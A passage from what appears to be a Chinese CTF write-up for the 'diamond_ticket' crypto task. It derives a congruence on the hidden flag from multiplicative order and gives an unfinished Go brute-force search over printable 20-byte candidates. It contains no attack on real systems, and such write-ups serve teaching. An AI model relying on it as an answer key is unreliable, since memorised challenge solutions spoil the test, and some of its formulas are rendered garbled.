<strong>Go</strong> 实现的搜索程序为出发点，说明其数学原理。</p> <hr /> <h2 id="2-shu-xue-yuan-li">2. 数学原理</h2> <h3 id="2-1-fei-ma-xiao-ding-li-yu-jie">2.1 费马小定理与阶</h3> <p>对任意整数 $x$ 与素数 $p$（$p\nmid x$）有</p> <p>$$ x^{p-1}\equiv 1 \pmod{p}. $$</p> <p>若整数 $x$ 在模 $p$ 下的 <strong>阶</strong>（$\operatorname{ord}_p(x)$）定义为</p> <p>$$ \operatorname{ord}_p(x)=\min{k&gt;0\mid x^k\equiv 1\pmod{p}}, $$</p> <p>则 $\operatorname{ord}_p(x)$ 必是 $p-1$ 的约数。</p> <h3 id="2-2-guan-jian-can-shu">2.2 关键参数</h3> <ul> <li>题目给出的素数</li> </ul> <p>$$ p_{\text{crypto}} = 170,829,625,398,370,252,501,980,763,763,988,409,583 . $$</p> <ul> <li>Go 代码中使用的</li> </ul> <p>$$ q = p_{\text{crypto}}-1; / ; 2 = 85,414,812,699,185,126,250,990,381,881,994,204,791 . $$</p> <p>计算可得</p> <p>$$ q = \frac{p_{\text{crypto}}-1}{2}. $$</p> <p>注释 <code>a.multiplicative_order()+1</code> 表明</p> <p>$$ \operatorname{ord}<em>{p</em>{\text{crypto}}}(a) = q, $$</p> <p>即 $a$ 的阶恰为 $q$。于是</p> <p>$$ a^{\frac{p_{\text{crypto}}-1}{2}} \equiv 1 \pmod{p_{\text{crypto}}}. $$</p> <h3 id="2-3-tong-yu-guan-xi">2.3 同余关系</h3> <p>任意整数 $m$ 可写成</p> <p>$$ m = k;q + r,\qquad 0\le r &lt; q, $$</p> <p>即</p> <p>$$ m \equiv r \pmod{q}. $$</p> <p>将其代入 $a^m$：</p> <p>$$ a^{m}=a^{kq+r}=(a^{q})^{k},a^{r}\equiv 1^{k},a^{r}\equiv a^{r}\pmod{p_{\text{crypto}}}. $$</p> <p>因此 $a^m$ 只依赖于 <strong>余数</strong> $r = m \bmod q$。</p> <p>Go 代码直接给出了</p> <p>$$ r_{\text{go}} = 4,807,895,356,063,327,854,843,653,048,517,090,061 . $$</p> <p>于是核心约束化为</p> <p>$$ \boxed{,m \equiv r_{\text{go}}\pmod{q},}. $$</p> <hr /> <h2 id="3-sou-suo-suan-fa-de-shu-xue-tui-dao">3. 搜索算法的数学推导</h2> <h3 id="3-1-ke-da-yin-zi-fu-chuan-de-qu-zhi-fan-wei">3.1 可打印字符串的取值范围</h3> <p>ASCII 可打印字符范围为</p> <p>$$ 32 \le \text{byte} \le 126 . $$</p> <p>因此 20 字节字符串对应的整数范围为</p> <p>$$ m_{\text{min}} = \underbrace{0x20\cdots20}<em>{20\text{ 个空格}} \qquad m</em>{\text{max}} = \underbrace{0x7E\cdots7E}_{20\text{ 个波浪号}} $$</p> <h3 id="3-2-yue-shu-de-zheng-shu-jie">3.2 约束的整数解</h3> <p>我们同时需要满足</p> <p>$$ \begin{cases} m = k,q + r_{\text{go}} ,\ m_{\text{min}} \le m \le m_{\text{max}} . \end{cases} $$</p> <p>代入得到关于 $k$ 的不等式</p> <p>$$ m_{\text{min}} - r_{\text{go}} \le k,q \le m_{\text{max}} - r_{\text{go}} . $$</p> <p>除以 $q$ 并取整数，得到</p> <p>$$ k_{\text{start}} = \left\lceil \dfrac{m_{\text{min}} - r_{\text{go}}}{q}\right\rceil, \qquad k_{\text{end}} = \left\lfloor \dfrac{m_{\text{max}} - r_{\text{go}}}{q}\right\rfloor . $$</p> <p>这正是 Go 程序中 <code>kStart</code> 与 <code>kEnd</code> 的计算方式。</p> <h3 id="3-3-sou-suo-liu-cheng">3.3 搜索流程</h3> <ol> <li> <p><strong>初始化</strong>：设定 $q$ 与 $r_{\text{go}}$。</p> </li> <li> <p><strong>计算范围</strong>：由可打印字符计算 $m_{\text{min}},,m_{\text{max}}$，进而得到 $[k_{\text{start}},k_{\text{end}}]$。</p> </li> <li> <p><strong>并行遍历</strong>：将该区间划分为若干块，利用多核 CPU 并行遍历每个 $k$。</p> </li> <li> <p><strong>候选验证</strong>：对每个 $k$ 计算</p> <p>$$ m = k,q + r_{\text{go}} . $$</p> <p>将整数 $m$ 转为 20 字节序列，检查每个字节是否落在 $[32,126]$ 区间。</p> </li> <li> <p><strong>输出</strong>：找到满足所有条件的唯一 $m$ 后，将其格式化为</p> <p>$$ \text{idek{ \ldots }} . $$</p> </li> </ol> <hr /> <h2 id="4-jie-lun">4. 结论</h2> <p>通过 <strong>模运算</strong> 与 <strong>阶的性质</strong>，原本看似复杂的密码学问题被化简为单一同余方程</p> <p>$$ m \equiv r_{\text{go}} \pmod{q}, $$</p> <p>再结合 “可打印 20 字节字符串” 的物理约束，搜索空间被大幅缩小。 Go 实现的并行搜索遍历所有满足数论约束的候选，最终得到隐藏的 <strong><code>diamond_ticket</code></strong>，即题目所求的 20 字符密钥。</p> <pre class="giallo z-code"><code data-lang="go"><span class="giallo-l"><span class="z-keyword">package</span><span class="z-entity z-name z-type"> main</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-punctuation"> (</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;bytes&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;fmt&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;math/big&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;os&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;runtime&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;sync&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;time&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;github.com/schollz/progressbar/v3&quot;</span></span> <span class="giallo-l"><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">func</span><span class="z-entity z-name z-function"> isPrintable</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">data</span><span class="z-punctuation"> []</span><span class="z-storage z-type">byte</span><span class="z-punctuation">)</span><span class="z-storage z-type"> bool</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> _</span><span class="z-punctuation">,</span><span class="z-source"> b</span><span class="z-keyword z-operator"> :=</span><span class="z-keyword"> range</span><span class="z-source"> data</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> b</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 32</span><span class="z-keyword z-operator"> ||</span><span class="z-source"> b</span><span class="z-keyword z-operator"> &gt;</span><span class="z-constant z-numeric"> 126</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-constant z-language z-boolean"> false</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-constant z-language z-boolean"> true</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">func</span><span class="z-entity z-name z-function"> worker</span><span class="z-punctuation">(</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> k_start</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> k_end</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> p_minus_1</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> r</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> wg</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">sync</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">WaitGroup</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> bar</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">ProgressBar</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> foundMutex</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">sync</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Mutex</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> outputFile</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">os</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">File</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-keyword"> defer</span><span class="z-source"> wg</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Done</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> m</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Mul</span><span class="z-punctuation">(</span><span class="z-source">k_start</span><span class="z-punctuation">,</span><span class="z-source"> p_minus_1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> m</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">m</span><span class="z-punctuation">,</span><span class="z-source"> r</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> const</span><span class="z-variable z-other z-constant"> flagContentLength</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 20</span></span> <span class="giallo-l"><span class="z-source"> mBytes</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> make</span><span class="z-punctuation">([]</span><span class="z-storage z-type">byte</span><span class="z-punctuation">,</span><span class="z-source"> flagContentLength</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> const</span><span class="z-variable z-other z-constant"> batchSize</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 10000</span></span> <span class="giallo-l"><span class="z-keyword"> var</span><span class="z-source"> batchCounter</span><span class="z-storage z-type"> int64</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> loopCount</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Sub</span><span class="z-punctuation">(</span><span class="z-source">k_end</span><span class="z-punctuation">,</span><span class="z-source"> k_start</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> loopCount</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">loopCount</span><span class="z-punctuation">,</span><span class="z-source"> big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> one</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> i</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> i</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Cmp</span><span class="z-punctuation">(</span><span class="z-source">loopCount</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> m</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">BitLen</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> &lt;=</span><span class="z-source"> flagContentLength</span><span class="z-keyword z-operator">*</span><span class="z-constant z-numeric">8</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> m</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">FillBytes</span><span class="z-punctuation">(</span><span class="z-source">mBytes</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-entity z-name z-function"> isPrintable</span><span class="z-punctuation">(</span><span class="z-source">mBytes</span><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-source"> foundMutex</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Lock</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> flag</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Sprintf</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;idek{%s}&quot;</span><span class="z-punctuation">,</span><span class="z-storage z-type"> string</span><span class="z-punctuation">(</span><span class="z-source">mBytes</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Println</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-string z-punctuation z-definition z-string">[+] possible flag:&quot;</span><span class="z-punctuation">,</span><span class="z-source"> flag</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> _</span><span class="z-punctuation">,</span><span class="z-source"> err</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> outputFile</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">WriteString</span><span class="z-punctuation">(</span><span class="z-source">flag</span><span class="z-keyword z-operator"> +</span><span class="z-punctuation z-definition z-string"> &quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> err</span><span class="z-keyword z-operator"> !=</span><span class="z-constant z-language"> nil</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Println</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[-] err:&quot;</span><span class="z-punctuation">,</span><span class="z-source"> err</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-source"> foundMutex</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Unlock</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> m</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">m</span><span class="z-punctuation">,</span><span class="z-source"> p_minus_1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> batchCounter</span><span class="z-keyword z-operator">++</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> batchCounter</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> batchSize</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> bar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add64</span><span class="z-punctuation">(</span><span class="z-source">batchSize</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> batchCounter</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 0</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> i</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">i</span><span class="z-punctuation">,</span><span class="z-source"> one</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> batchCounter</span><span class="z-keyword z-operator"> &gt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> bar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add64</span><span class="z-punctuation">(</span><span class="z-source">batchCounter</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">func</span><span class="z-entity z-name z-function"> main</span><span class="z-punctuation">() {</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> // a.multiplicative_order()+1, 因为后面有个 p-1, 懒得改了</span></span> <span class="giallo-l"><span class="z-source"> pStr</span><span class="z-keyword z-operator"> :=</span><span class="z-punctuation z-definition z-string z-string"> &quot;85414812699185126250990381881994204792&quot;</span></span> <span class="giallo-l"><span class="z-source"> rStr</span><span class="z-keyword z-operator"> :=</span><span class="z-punctuation z-definition z-string z-string"> &quot;4807895356063327854843653048517090061&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> p</span><span class="z-punctuation">,</span><span class="z-source"> _</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">SetString</span><span class="z-punctuation">(</span><span class="z-source">pStr</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 10</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> r</span><span class="z-punctuation">,</span><span class="z-source"> _</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">SetString</span><span class="z-punctuation">(</span><span class="z-source">rStr</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 10</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> pMinus1</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Sub</span><span class="z-punctuation">(</span><span class="z-source">p</span><span class="z-punctuation">,</span><span class="z-source"> big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword"> const</span><span class="z-variable z-other z-constant"> flagContentLength</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 20</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> mMinBytes</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> bytes</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Repeat</span><span class="z-punctuation">([]</span><span class="z-storage z-type">byte</span><span class="z-punctuation">{</span><span class="z-constant z-numeric">32</span><span class="z-punctuation">},</span><span class="z-source"> flagContentLength</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> mMaxBytes</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> bytes</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Repeat</span><span class="z-punctuation">([]</span><span class="z-storage z-type">byte</span><span class="z-punctuation">{</span><span class="z-constant z-numeric">126</span><span class="z-punctuation">},</span><span class="z-source"> flagContentLength</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> mMin</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">SetBytes</span><span class="z-punctuation">(</span><span class="z-source">mMinBytes</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> mMax</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">SetBytes</span><span class="z-punctuation">(</span><span class="z-source">mMaxBytes</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> kStartNum</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Sub</span><span class="z-punctuation">(</span><span class="z-source">mMin</span><span class="z-punctuation">,</span><span class="z-source"> r</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> kStart</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Div</span><span class="z-punctuation">(</span><span class="z-source">kStartNum</span><span class="z-punctuation">,</span><span class="z-source"> pMinus1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> mCheck</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Mul</span><span class="z-punctuation">(</span><span class="z-source">kStart</span><span class="z-punctuation">,</span><span class="z-source"> pMinus1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> mCheck</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">mCheck</span><span class="z-punctuation">,</span><span class="z-source"> r</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> mCheck</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Cmp</span><span class="z-punctuation">(</span><span class="z-source">mMin</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> kStart</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">kStart</span><span class="z-punctuation">,</span><span class="z-source"> big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> kEndNum</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Sub</span><span class="z-punctuation">(</span><span class="z-source">mMax</span><span class="z-punctuation">,</span><span class="z-source"> r</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> kEnd</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Div</span><span class="z-punctuation">(</span><span class="z-source">kEndNum</span><span class="z-punctuation">,</span><span class="z-source"> pMinus1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Printf</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[*] k_start: %s</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-source"> kStart</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">String</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Printf</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[*] k_end: %s</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-source"> kEnd</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">String</span><span class="z-punctuation">())</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> kRange</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Sub</span><span class="z-punctuation">(</span><span class="z-source">kEnd</span><span class="z-punctuation">,</span><span class="z-source"> kStart</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> kRange</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">kRange</span><span class="z-punctuation">,</span><span class="z-source"> big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> bar</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewOptions64</span><span class="z-punctuation">(</span></span> <span class="giallo-l"><span class="z-source"> kRange</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Int64</span><span class="z-punctuation">(),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSetDescription</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Searching...&quot;</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSetWriter</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionShowBytes</span><span class="z-punctuation">(</span><span class="z-constant z-language z-boolean">false</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSetWidth</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">40</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionShowCount</span><span class="z-punctuation">(),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionThrottle</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">100</span><span class="z-keyword z-operator">*</span><span class="z-source">time</span><span class="z-punctuation">.</span><span class="z-source">Millisecond</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSpinnerType</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">14</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionFullWidth</span><span class="z-punctuation">(),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSetRenderBlankState</span><span class="z-punctuation">(</span><span class="z-constant z-language z-boolean">true</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionShowElapsedTimeOnFinish</span><span class="z-punctuation">(),</span></span> <span class="giallo-l"><span class="z-punctuation"> )</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> numWorkers</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> runtime</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NumCPU</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> 